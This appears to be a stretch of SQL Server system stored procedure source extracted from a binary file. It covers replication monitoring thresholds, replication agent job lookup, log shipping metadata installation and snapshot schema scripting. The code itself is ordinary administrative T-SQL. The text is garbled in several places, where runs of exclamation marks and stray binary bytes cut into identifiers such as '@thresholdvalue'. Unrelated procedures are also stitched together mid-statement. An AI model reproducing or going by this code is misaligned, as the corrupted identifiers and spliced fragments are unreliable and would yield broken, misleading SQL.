                    if (@thresholdvalue > 0)
                    begin
                        --
                        -- Set the flag for expiration threshold for the specific subscriptions
                        -- (distribution agent entries) that are ready to expire within given threshold
                        --
                        select @cutoff_time = dateadd(hour, -@thresholdvalue, getdate())
                        update #tmp_replmonitorrefresh
                        set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end)
                        where publication_id = @publication_id
                            and (agent_type & 3) = 3
                            and last_distsync < @cutoff_time
                        if (@@rowcount > 0)
                        begin
                            --
                            -- update the current warning status for the publication
                            --
                            select @warning = case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end
                        end
                    end
                end
            end
            else if (@metric_id = @latency)
            begin
                if (@value is not null)
                begin
                    --
                    -- update the subscriptions(distribution agent entries) whose latency exceed
                    -- the value
                    --
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end)
                    where publication_id = @publication_id
                            and (agent_type & 3) = 3
                            and isnull(cur_latency,0) > cast(@value as int)
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end
                end
            end
            /*
            else if (@metric_id = @stoppedagent)
            begin
                if (@value is not null)
                begin
                    --
                    -- If an agent (logreader, distribution, queuereader) has 
                    -- been not been running for given threshold
                    -- set the flag
                    --
                    select @thresholdvalue = cast(@value as int)
                    select @cutoff_time = dateadd(minute, -@thresholdvalue, getdate())
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end)
                    where publication_id = @publication_id
                                and (agent_type in (2,9) or (agent_type & 3) = 3)
                                and agentstoptime is not null
                                and agentstoptime < @cutoff_time
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end
                end
            end
            */
        end -- transactional/snapshot publication
        else
        begin
            --
            -- merge publication
            -- Process based on metric 
            -- 
            if (@metric_id = @mergeexpirationChosen)
            begin
                if (@value is not null)
                begin
                    select top 1 @thresholdv!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	 Cj3vTOalue = (isnull(retention,0) * cast(@value as int)) / 100,
                                    @retention_period_unit = retention_period_unit
                    from #tmp_replmonitorrefresh
                    where publication_id = @publication_id
                    order by retention desc
                    
                    if (@thresholdvalue > 0)
                    begin
                        select @cutoff_time = sys.fn_add_units_to_date(
                                                                        -@thresholdvalue,
                                                                        @retention_period_unit,
                                                                        getdate())
                        --
                        -- Set the flag for expiration threshold if there exist any subscriptions
                        -- that are ready to expire within given threshold
                        --
                        update #tmp_replmonitorrefresh
                        set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                        else (@warning | @warningbitstatus) end)
                        where agent_id in
                            (select sess.agent_id
                                            from dbo.MSmerge_sessions as sess with (nolock), 
                                                dbo.MSmerge_agents as agt with (nolock), 
                                                dbo.MSpublications as pubs with (nolock),
                                                (
                                                    select agent_id, max(start_time) as maxtime 
                                                    from dbo.MSmerge_sessions with (nolock)
                                                    group by agent_id
                                                ) as latest
                                            where pubs.publication_id= @publication_id
                                                and pubs.publisher_id = agt.publisher_id
                                                and pubs.publisher_db = agt.publisher_db
                                                and pubs.publication = agt.publication
                                                and agt.id=sess.agent_id
                                                and sess.start_time=latest.maxtime
                                                and sess.agent_id=latest.agent_id
                                                and sess.end_time < @cutoff_time)
                            and (agent_type & 4) = 4
                        if @@rowcount > 0
                        begin
                            --
                            -- update the current warning status for the publication
                            --
                            select @warning = case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end
                        end
                    end
                end
            end
            else if (@metric_id = @mergefastrundurationChosen)
            begin
                if (@value is not null)
                begin
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end)
                    where publication_id = @publication_id
                        and mergelatestsessionrunduration>@value
                        and mergelatestsessionconnectiontype=1 -- LAN
                        and (agent_type & 4) = 4
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end
                end
            end
            else if (@metric_id = @mergeslowrundurationChosen)
            begin
                if (@value is not null)
                begin
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                    else (@warning | @warningbitstatus) end)
                    where publication_id = @publication_id
                        and mergelatestsessionrunduration>@value
                        and mergelatestsessionconnectiontype=2 -- DUN
                        and (agent_type & 4) = 4
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end
                end
            end      
            else if (@metric_id = @mergefastrunspeedChosen)
            begin
                if (@value is not null)
                begin
                    -- compare latest speed with chosen speed
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                else (@warning | @warningbitstatus) end)
                        where agent_id in
                            (select sess.agent_id
                                from dbo.MSmerge_sessions as sess with (nolock), 
                                dbo.MSmerge_agents as agt with (nolock), 
                                dbo.MSpublications as pubs with (nolock),
                                (
                                select agent_id, max(start_time) as maxtime 
                                from dbo.MSmerge_sessions with (nolock)
                                where connection_type=1 -- LAN
                                group by agent_id
                                ) as latest
                                where pubs.publication_id= @publication_id
                                    and pubs.publisher_id = agt.publisher_id
                                    and pubs.publisher_db = agt.publisher_db
                                    and pubs.publication = agt.publication
                                    and agt.id=sess.agent_id
                                    and sess.start_time=latest.maxtime
                                    and sess.agent_id=latest.agent_id
                                    and sess.delivery_rate < @value
                                    and (sess.upload_inserts + sess.upload_deletes + sess.upload_updates + sess.download_inserts 
                                                        + sess.download_deletes + sess.download_updates) >= 50
                                    and sess.delivery_rate is not null)
                            and (agent_type & 4) = 4
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end
                end                
            en!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.	!^p}vCREATE PROCEDURE sys.sp_MSreplagentjobexists
(
	@type				int,							-- 0: Distribution (PUSH only) 1: ReplMerge (PUSH only) 2: Logreader 3: Snapshot 4: Queued
	@exists 			bit output,
	@job_name			sysname = NULL output,
	@job_id 			uniqueidentifier = NULL output,
	@job_step_uid		uniqueidentifier = NULL output,
	@proxy_id			int = NULL output,
	@publisher_id		int = NULL output,
	@subscriber_id		int = NULL output,				-- Retrieved for @type 0 only
	@publisher			sysname = NULL,
	@publisher_db		sysname = NULL,
	@publication		sysname = NULL,
	@subscriber 		sysname = NULL,
	@subscriber_db		sysname = NULL,
	@independent_agent	bit = 1,
	@frompublisher      bit = 0
)
as
begin
    set nocount on
	DECLARE @category_id	int,
			@subsystem		sysname,
			@dbname sysname,
			@srvname sysname

	SELECT @exists			= 0,
			@dbname = db_name(),
			@srvname = upper(CONVERT(sysname, SERVERPROPERTY('ServerName')))

	-- security: Has to be executed by SA 
	--			 or DBO of distdb
	IF IS_SRVROLEMEMBER('sysadmin') != 1
		AND NOT (IS_MEMBER ('db_owner') = 1
				AND sys.fn_MSrepl_isdistdb(@dbname) = 1)
	BEGIN
		-- You do not have the required permissions to complete the operation.
		RAISERROR (14126, 16, -1)
		RETURN 1
	END
	
	--
	-- if executed from publisher
	--
	if (@frompublisher = 1)
	begin
		declare @loc_publisher sysname
				,@loc_distribdb sysname
				,@rpcsrvname sysname
				,@rpc nvarchar(1000)
				,@retcode int
		--
		-- get the distributor rpc info
		--
		select @loc_publisher = @srvname
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @loc_publisher,
												@rpcsrvname = @rpcsrvname OUTPUT,
												@distribdb = @loc_distribdb OUTPUT

		IF @@error <> 0 OR @retcode <> 0 or (@rpcsrvname IS NULL) or (@loc_distribdb IS NULL)
		BEGIN
			RAISERROR (14080, 16, -1, @loc_publisher)
			RETURN (1)
		END
		--
		-- execute the RPC
		--
		select @rpc = quotename(@rpcsrvname) + N'.' + quotename(@loc_distribdb) + N'.dbo.sp_MSreplagentjobexists'
		exec @retcode = @rpc @type = @type
							,@exists = @exists output
							,@job_name = @job_name output
							,@job_id = @job_id output
							,@job_step_uid = @job_step_uid output
							,@proxy_id = @proxy_id output
							,@publisher_id = @publisher_id output
							,@subscriber_id = @subscriber_id output
							,@loc_publisher = @loc_publisher
							,@publisher_db = @publisher_db
							,@publication = @publication
							,@subscriber = @subscriber
							,@subscriber_db = @subscriber_db
							,@independent_agent = @independent_agent
							,@frompublisher = 0
		if (@@error != 0)
		select @retcode = 1
		--
		-- return
		--
		return @retcode
	end

	-- database must be distribution db
	IF sys.fn_MSrepl_isdistdb(@dbname) <> 1
	BEGIN
		RAISERROR (21482, 16, -1, 'sp_MSreplagentjobexists', 'distribution')
		RETURN (1)
	END
	
    --
    -- If we are here - this SP is being executed on distributor
    --
	
	-- Note that we do not perform parameter checks here
	-- this is because this procedure should only be called by 
	-- other replication procedures. Here are the rules:
	
	-- retrieve the publisher server id
	IF @publisher IS NOT NULL
	BEGIN
		SELECT @publisher_id = server_id 
			FROM sys.servers 
			WHERE UPPER(name) = UPPER(@publisher)
		IF @publisher_id IS null
		BEGIN
			-- Publisher @publisher does not exist.
			RAISERROR(21618, 16, -1, @publisher)
			RETURN 1
		END
	END

	-- Distribution Agent
	IF @type = 0
	BEGIN
		-- retrieve the subscriber server id
		IF @subscriber IS NOT NULL
		BEGIN
			SELECT @subscriber_id = server_id 
				FROM sys.servers 
				WHERE UPPER(name) = UPPER(@subscriber)
			IF @subscriber_id IS NULL
			BEGIN
				-- The server '@subscriber' is not a Subscriber.
				RAISERROR(14048, 16, -1, @subscriber)
				RETURN 1
			END
		END
		
		-- this only works for PUSH subscription agents created at the distrib
		SELECT @category_id 	= 10,
				@subsystem		= N'Distribution',
				@exists			= 1,
				@job_name		= msda.name,
				@job_id 		= CAST(msda.job_id as uniqueidentifier),
				@job_step_uid	= msda.job_step_uid,
				@proxy_id		= sjs.proxy_id
			FROM msdb.dbo.sysjobs_view sjv
				JOIN MSdistribution_agents msda
					ON sjv.job_id = CAST(msda.job_id as uniqueidentifier)
				JOIN msdb.dbo.sysjobsteps sjs
					ON sjv.job_id = sjs.job_id
						AND msda.job_step_uid = sjs.step_uid
			WHERE msda.publisher_id = @publisher_id
				AND msda.publisher_db = @publisher_db
				AND ((msda.publication = @publication
						AND @independent_agent = 1)
					OR (msda.publication = N'ALL'
						AND @independent_agent = 0))
				AND msda.subscriber_id = @subscriber_id
				AND msda.subscriber_db = @subscriber_db
	END
	-- Merge Agent
	ELSE IF @type = 1
	BEGIN
		-- this only works for PUSH subscription agents created at the distrib
		SELECT @category_id 	= 14,
				@subsystem		= N'Merge',
				@exists			= 1,
				@job_name		= msma.name,
				@job_id 		= CAST(msma.job_id as uniqueidentifier),
				@job_step_uid	= msma.job_step_uid,
				@proxy_id 		= sjs.proxy_id
			FROM msdb.dbo.sysjobs_view sjv
				JOIN dbo.MSmerge_agents msma
					ON sjv.job_id = CAST(msma.job_id as uniqueidentifier)
				JOIN msdb.dbo.sysjobsteps sjs
					ON sjv.job_id = sjs.job_id
						AND msma.job_step_uid = sjs.step_uid
			WHERE msma.publisher_id = @publisher_id
				AND msma.publisher_db = @publisher_db
				AND msma.publication = @publication
				AND UPPER(msma.subscriber_name) = UPPER(@subscriber)
				AND msma.subscriber_db = @subscriber_db
	END
	-- Logreader Agent
	ELSE IF @type = 2
	BEGIN
		SELECT 	@category_id 	= 13,
				@subsystem		= N'LogReader',
				@exists			= 1,
				@job_name		= msla.name,
				@job_id 		= CAST(msla.job_id as uniqueidentifier),
				@job_step_uid	= msla.job_step_uid,
				@proxy_id		= sjs.proxy_id
			FROM msdb.dbo.sysjobs_view sjv
				JOIN MSlogreader_agents msla
					ON sjv.job_id = CAST(msla.job_id as uniqueidentifier)
				JOIN msdb.dbo.sysjobsteps sjs
					ON sjv.job_id = sjs.job_id
						AND msla.job_step_uid = sjs.step_uid
			WHERE msla.publisher_id = @publisher_id
				AND msla.publisher_db = @publisher_db
	END
	-- Snapshot Agent
	ELSE IF @type = 3
	BEGIN
		SELECT @category_id 	= 15,
				@subsystem		= N'Snapshot',
				@exists			= 1,
				@job_name		= mssa.name,
				@job_id 		= CAST(mssa.job_id as uniqueidentifier),
				@job_step_uid	= mssa.job_step_uid,
				@proxy_id		= sjs.proxy_id
			FROM msdb.dbo.sysjobs_view sjv
				JOIN MSsnapshot_agents mssa
					ON sjv.job_id = CAST(mssa.job_id as uniqueidentifier)
				JOIN msdb.dbo.sysjobsteps sjs
					ON sjv.job_id = sjs.job_id
						AND mssa.job_step_uid = sjs.step_uid
			WHERE mssa.publisher_id = @publisher_id
				AND mssa.publisher_db = @publisher_db
				AND mssa.publication = @publication
	END
	-- Queued Agent
	ELSE IF @type = 4
	BEGIN
		SELECT @category_id 	= 19,
				@subsystem		= N'QueueReader',
				@exists			= 1,
				@job_name		= msqa.name,
				@job_id 		= CAST(msqa.job_id as uniqueidentifier),
				@job_step_uid	= msqa.job_step_uid,
				@proxy_id		= sjs.proxy_id
			FROM msdb.dbo.sysjobs_view sjv
				JOIN MSqreader_agents msqa
					ON sjv.job_id = CAST(msqa.job_id as uniqueidentifier)
				JOIN msdb.dbo.sysjobsteps sjs
					ON sjv.job_id = sjs.job_id
						AND msqa.job_step_uid = sjs.step_uid
	END

	-- if we didn't find a job_step_uid but we did find
	-- a job id then let's try to identify the job_step_uid
	IF @job_id IS NOT NULL
		AND @job_step_uid IS NULL
	BEGIN
		SELECT @job_step_uid 	= sjs.step_uid,
				@proxy_id		= sjs.proxy_id
		FROM msdb.dbo.sysjobs_view as sjv 
			JOIN msdb.dbo.sysjobsteps as sjs 
				ON sjv.job_id = sjs.job_id 
		WHERE sjv.job_id = @job_id
			AND sjv.master_server = 0
			AND UPPER(sjv.originating_server) = @srvname
			AND sjv.category_id = @category_id
			AND sjs.subsystem = @subsystem 
			AND sjs.database_name = @dbname
	END
		
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	'{eqvncreate procedure sys.sp_logshippinginstallmetadata
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check to see if we should install
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck @mode = 0
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- MSDB should exist
    --
    if not exists (select * from master.sys.databases where name = N'msdb')
    begin
        raiserror(15010, 16, 1, N'msdb')
        return 1
    end
    if (DATABASEPROPERTYEX(N'msdb', N'Status') != N'ONLINE')
    begin
        raiserror(32007, 16, 1, N'msdb')
        return 1
    end
    --
    -- start transaction
    --
    begin tran sp_logshippinginstallmetadata
    save tran sp_logshippinginstallmetadata
    --
    -- create the tables
    --
    if object_id(N'msdb.dbo.log_shipping_primary_databases') is null
    begin
        create table msdb.dbo.log_shipping_primary_databases
        (
            primary_id  uniqueidentifier primary key not null,
            primary_database sysname unique not null,
            backup_directory nvarchar(500) not null,
            backup_share nvarchar(500) not null,
            backup_retention_period int not null, -- minutes (default=1440)
            backup_job_id uniqueidentifier not null, 
            monitor_server sysname not null, -- (default = primary server)
            user_specified_monitor bit null,
            monitor_server_security_mode bit not null, -- (default = 1 (integrated))
            last_backup_file nvarchar(500) null, -- (initially null)
            last_backup_date datetime null, -- (initially null)
            backup_compression tinyint not null default 2 --(default to server default)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_primary_databases'
        create unique nonclustered index uc1lsprimary_databases 
            on msdb.dbo.log_shipping_primary_databases (primary_database)
        create nonclustered index nc1lsprimary_databases 
            on msdb.dbo.log_shipping_primary_databases (monitor_server)
        create nonclustered index nc2lsprimary_databases 
            on msdb.dbo.log_shipping_primary_databases (user_specified_monitor)
    end

    if object_id(N'msdb.dbo.log_shipping_primary_secondaries') is null
    begin
        create table msdb.dbo.log_shipping_primary_secondaries
        (
            primary_id  uniqueidentifier not null,
            secondary_server sysname not null, 
            secondary_database sysname not null,
            constraint pklsprimary_secondaries
                primary key (primary_id, secondary_server, secondary_database)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_primary_secondaries'
        create nonclustered index nc1lsprimary_secondaries 
            on msdb.dbo.log_shipping_primary_secondaries (primary_id)
    end

    if object_id(N'msdb.dbo.log_shipping_monitor_primary') is null
    begin
        create table msdb.dbo.log_shipping_monitor_primary
        (
            primary_id uniqueidentifier primary key not null,
            primary_server sysname not null,
            primary_database sysname not null,
            backup_threshold int not null,  -- in minutes (default=45)
            threshold_alert int not null, -- (default=14420)
            threshold_alert_enabled bit not null, -- (default=1)
            last_backup_file nvarchar(500) null, -- (initially null)
            last_backup_date datetime null,  -- (initially null)
            last_backup_date_utc datetime null, -- (initially null)
            history_retention_period int not null -- minutes (default=1440)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_monitor_primary'
        create unique nonclustered index uc1lsmonitor_primary 
            on msdb.dbo.log_shipping_monitor_primary (primary_server, primary_database)
    end

    if object_id(N'msdb.dbo.log_shipping_monitor_history_detail') is null
    begin
        create table msdb.dbo.log_shipping_monitor_history_detail
        (
            agent_id uniqueidentifier not null, -- primary id for backup, secondary id for copy/restore
            agent_type tinyint not null, -- 0 = Backup, 1 = Copy, 2= Restore
            session_id int not null, -- session number for the backup/copy/restore/job
            database_name sysname null, -- primary db for backup, empty for copy, secondary db for restore
            session_status tinyint not null, -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
            log_time datetime  not null,
            log_time_utc datetime  not null,
            message nvarchar(4000) not null
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_monitor_history_detail'
        create clustered index c1lsmonitor_history_detail 
            on msdb.dbo.log_shipping_monitor_history_detail (agent_id, agent_type)
        create nonclustered index nc2lsmonitor_history_detail 
            on msdb.dbo.log_shipping_monitor_history_detail (database_name)
        create nonclustered index nc3lsmonitor_history_detail 
            on msdb.dbo.log_shipping_monitor_history_detail (log_time_utc)
    end

    if object_id(N'msdb.dbo.log_shipping_monitor_error_detail') is null
    begin
        create table msdb.dbo.log_shipping_monitor_error_detail
        (
            agent_id uniqueidentifier not null, -- primary id for backup, secondary id for copy/restore
            agent_type tinyint not null, -- 0 = Backup, 1 = Copy, 2= Restore
            session_id int   not null, -- session number for the backup/copy/restore/job
            database_name sysname null, -- primary db for backup, empty for copy, secondary db for restore         
            sequence_number int not null,
            log_time datetime not null,
            log_time_utc datetime not null,
            message nvarchar(4000)   not null,
            source nvarchar(4000)   not null,
            help_url nvarchar(4000)   not null
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_monitor_error_detail'
        create clustered index c1lsmonitor_error_detail 
            on msdb.dbo.log_shipping_monitor_error_detail (agent_id, agent_type)
        create nonclustered index nc2lsmonitor_error_detail 
            on msdb.dbo.log_shipping_monitor_error_detail (database_name)
        create nonclustered index nc3lsmonitor_error_detail 
            on msdb.dbo.log_shipping_monitor_error_detail (log_time_utc)
    end

    if object_id(N'msdb.dbo.log_shipping_secondary') is null
    begin
        create table msdb.dbo.log_shipping_secondary
        (
            secondary_id uniqueidentifier primary key not null,
            primary_server sysname not null,
            primary_database sysname not null,
            backup_source_directory nvarchar(500) not null,
            backup_destination_directory nvarchar(500) not null,
            file_retention_period int not null, -- in minutes (default=1440)
            copy_job_id uniqueidentifier not null,
            restore_job_id uniqueidentifier not null,
            monitor_server sysname not null, --(default = secondary server)
            monitor_server_security_mode bit not null, -- (default = 1 (integrated))
            user_specified_monitor bit null,
            last_copied_file nvarchar(500) null, -- (initially null)
            last_copied_date datetime null, -- (initially null)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_secondary'
        create unique nonclustered index uc1lssecondary 
            on msdb.dbo.log_shipping_secondary (primary_server, primary_database)
        create nonclustered index nc1lssecondary 
            on msdb.dbo.log_shipping_secondary (monitor_server)
        create nonclustered index nc2lssecondary 
            on msdb.dbo.log_shipping_secondary (us!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	)
rner_specified_monitor)
    end

    if object_id(N'msdb.dbo.log_shipping_secondary_databases') is null
    begin
        create table msdb.dbo.log_shipping_secondary_databases
        (
            secondary_database sysname primary key not null,
            secondary_id uniqueidentifier not null,
            restore_delay int not null, -- in minutes (default=0)
            restore_all bit not null, -- (default=1)
            restore_mode bit not null, -- (default=0)
            disconnect_users bit not null, -- (default=0)
            block_size int null, -- (default=-1)
            buffer_count int null, -- (default=-1)
            max_transfer_size int null, -- (default=-1)
            last_restored_file nvarchar(500) null, -- (initially null)
            last_restored_date datetime null -- (initially null)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_secondary_databases'
        create nonclustered index nc1lssecondary_databases 
            on msdb.dbo.log_shipping_secondary_databases (secondary_id)
    end

    if object_id(N'msdb.dbo.log_shipping_monitor_secondary') is null
    begin
        create table msdb.dbo.log_shipping_monitor_secondary
        (
            secondary_server sysname not null,
            secondary_database sysname not null,
            secondary_id uniqueidentifier not null,
            primary_server sysname not null,
            primary_database sysname not null,
            restore_threshold int not null, -- in minutes (default=45)
            threshold_alert int not null, -- (default=14421)
            threshold_alert_enabled bit not null, -- (default=1)
            last_copied_file nvarchar(500) null, -- (initially null)
            last_copied_date datetime null, -- (initially null)
            last_copied_date_utc datetime null, -- (initially null)
            last_restored_file nvarchar(500) null, -- (initially null)
            last_restored_date datetime null, -- (initially null)
            last_restored_date_utc datetime null, -- (initially null)
            last_restored_latency int null, -- (initially null)
            history_retention_period int not null, -- minutes (default=1440)
            constraint pklsmonitor_secondary
                primary key (secondary_id, secondary_database)
        )
        exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_monitor_secondary'
        create unique nonclustered index uc1lsmonitor_secondary 
            on msdb.dbo.log_shipping_monitor_secondary (secondary_server, secondary_database)
        create nonclustered index nc1lsmonitor_secondary 
            on msdb.dbo.log_shipping_monitor_secondary (secondary_id)
        create nonclustered index nc2lsmonitor_secondary 
            on msdb.dbo.log_shipping_monitor_secondary (restore_threshold)
        create nonclustered index nc3lsmonitor_secondary 
            on msdb.dbo.log_shipping_monitor_secondary (last_restored_latency)
    end
    
    if object_id(N'msdb.dbo.log_shipping_monitor_alert') is null
    begin
        create table msdb.dbo.log_shipping_monitor_alert
        (
            alert_job_id uniqueidentifier primary key not null
        )
      exec msdb.dbo.sp_MS_marksystemobject 'log_shipping_monitor_alert'
    end
/*
    --
    -- NO need for this anymore - system category now exists for LS
    -- add category for logshipping if needed
    --
    if not exists (select * from msdb.dbo.syscategories where name=N'Log Shipping' and category_class=1)
    begin
        exec @retcode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'Log Shipping'
        if (@@error != 0 or @retcode != 0) 
            goto UNDO
    end
*/
    --
    -- commit transaction
    --
    commit tran
    --
    -- all done
    --
    return 0

UNDO:
    rollback tran sp_logshippinginstallmetadata
    commit tran
    return 1
end
EE@monitor_server_security_mode
                ,@primary_database = @database
                ,@backup_threshold = @backup_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@last_backup_date = @curdate
                ,@last_backup_date_utc = @curutcdate
                ,@history_retention_period = @history_retention_period
                ,@ignoreremotemonitor = @ignoreremotemonitor
    if (@retcode != 0 or @@error != 0)
    begin
        raiserror(32055, 16, 2)
        goto UNDO
    end
    --
    -- all done
    --
    return 0

UNDO:
    --
    -- delete backup job if needed
    --
    if (@backup_job_id is not null)
    begin
        exec sys.sp_MSprocesslogshippingjob @type = 1
                                    ,@mode = 2 
                                    ,@jobid = @backup_job_id
    end
    --
    -- drop monitor metadata
    -- drop monitor if needed
    --
    if (@fcreatedmonitorlink = 1)
    begin
        --
        -- remove monitor metadata for the primary and remote monitor
        --
        exec sys.sp_MSprocesslogshippingmonitorprimary @mode = 2
                    ,@primary_id = @primary_id
                    ,@primary_server = @@servername
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@primary_database = @database
                    ,@ignoreremotemonitor = @ignoreremotemonitor
        --
        -- remove link
        --
        exec msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 2
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
    end
    --
    -- delete data on primary
    --
    if (@faddeddata = 1)
    begin
        delete msdb.dbo.log_shipping_primary_databases
        where primary_id = @primary_id
    end
    --
    -- reset output vars
    --
    select @primary_id = NULL
            ,@backup_job_id = NULL

        
    return 1
end
FfFf            -- following format:yyyyMMddHHmmss (the LS agent code
            -- uses this format explicitly) - when processing the string
            -- containing time from file, append milliseconds and use 
            -- CONVERT style 21 to match the format:yyyy-mm-dd hh:mi:ss.mmm
            --
            select @last_restored_latency = datediff(minute
                ,convert(datetime, stuff(stuff(stuff(stuff(stuff(substring(@last_processed_file_name, @fileindex + 1, 14), 5, 0, N'-'), 8, 0, N'-'), 11, 0, N' '), 14, 0, N':'), 17, 0, N':') + N'.000' , 21)
                ,@curutcdate)
            --
            -- update secondary monitor metadata 
            --
            exec @retcode = sp_MSprocesslogshippingmonitorsecondary @mode = 3
                        ,@secondary_server = @@servername
                        ,@secondary_database = @database
                        ,@secondary_id = @agent_id
                        ,@monitor_server = @monitor_server
                        ,@monitor_server_security_mode = @monitor_server_security_mode
                        ,@last_restored_file = @last_processed_file_name
                        ,@last_restored_date = @curdate
                        ,@last_restored_date_utc = @curutcdate
                        ,@last_restored_latency = @last_restored_latency
            if (@retcode != 0 or @@error != 0)
                goto UNDO    
        end
    end
    --
    -- all done
    --
    return 0

UNDO:
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`f<p	 
Z08@ %8
--
-- Name:    
--          sp_IHScriptSchFile
--          
-- Description: 
--          Script snaphot SCH file contents
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) with commands
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHScriptSchFile
(
	@article_id int
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @scriptConstraints	bit
    DECLARE @schemaOption		int
    DECLARE @pubtype			int
    DECLARE @useClustered		bit
    DECLARE @collation          sysname

	SET NOCOUNT ON 

	-- security check, db_owner
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- create temp table for command fragments
	create table #proctext
	(
		seq				int identity NOT NULL,
		procedure_text	nvarchar(4000) collate database_default
	)

	-- Get article/publication info
	SELECT	@schemaOption = CONVERT(INT, fn_replprepadbinary8(iha.schema_option)),
			@pubtype = ihp.repl_freq
	FROM	dbo.IHarticles iha,
			dbo.IHpublications ihp
	WHERE	ihp.pubid = iha.publication_id
	  AND	iha.article_id = @article_id

	-- Set script generation flags
	IF ((@schemaOption & 0x10) <> 0)
	BEGIN
		SET @useClustered = 1
	END
	ELSE
	BEGIN
		SET @useClustered = 0
	END

    IF ((@schemaOption & 0x1000) <> 0)
    BEGIN
        -- Get collation of current database (should be distribution)
        -- Convert CI to CS to get case sensitive version of the collation
        SELECT @collation = REPLACE(CONVERT(sysname, DATABASEPROPERTYEX(DB_NAME(), 'Collation')), N'_CI_', N'_CS_')
    END
	-- Script objects
	-- Check to see if 0x01 is set for OBJECT CREATION
	IF ((@schemaOption & 0x01) <> 0)
	BEGIN
		-- Script table
		exec @retcode = sys.sp_IHscripttable @article_id, @collation

		IF @retcode != 0
		BEGIN
			set @retcode = 1
			GOTO RETURNSCRIPT
		END
		
		-- Script constraints
		-- Check to see if 0x8000 set for ALTER TABLE syntax
		IF ((@schemaOption & 0x8000) = 0)
		BEGIN
			-- Script primary key constraints
			-- Check to see if 0x80 set for PRIMARY KEY replication
			IF (((@schemaOption & 0x80) <> 0) OR (@pubtype = 0))
			BEGIN
				-- Remove trailing ')' and replace with ','
				update	#proctext
				set		procedure_text = left(procedure_text, len(procedure_text) - 1) + N','
				where 	seq = IDENT_CURRENT('#proctext')

				-- Generate primary key constraints
				exec @retcode = sys.sp_IHscriptprimarykey
									@article_id		= @article_id,
									@useAlterTable	= 0,
									@useClustered	= @useClustered
									
				IF @retcode != 0 OR @@ERROR != 0
				BEGIN
					SET @retcode = 1
					GOTO RETURNSCRIPT
				END
			END

			-- Script unique constraints
			-- Check to see if 0x4000 for UNIQUE CONSTRAINTS
			IF ((@schemaOption & 0x4000) <> 0)
			BEGIN
				-- Remove trailing ')' and replace with ','
				update	#proctext
				set		procedure_text = left(procedure_text, len(procedure_text) - 1) + N','
				where 	seq = IDENT_CURRENT('#proctext')
				
				-- Generate unique constraints
				exec @retcode = sys.sp_IHscriptindexes
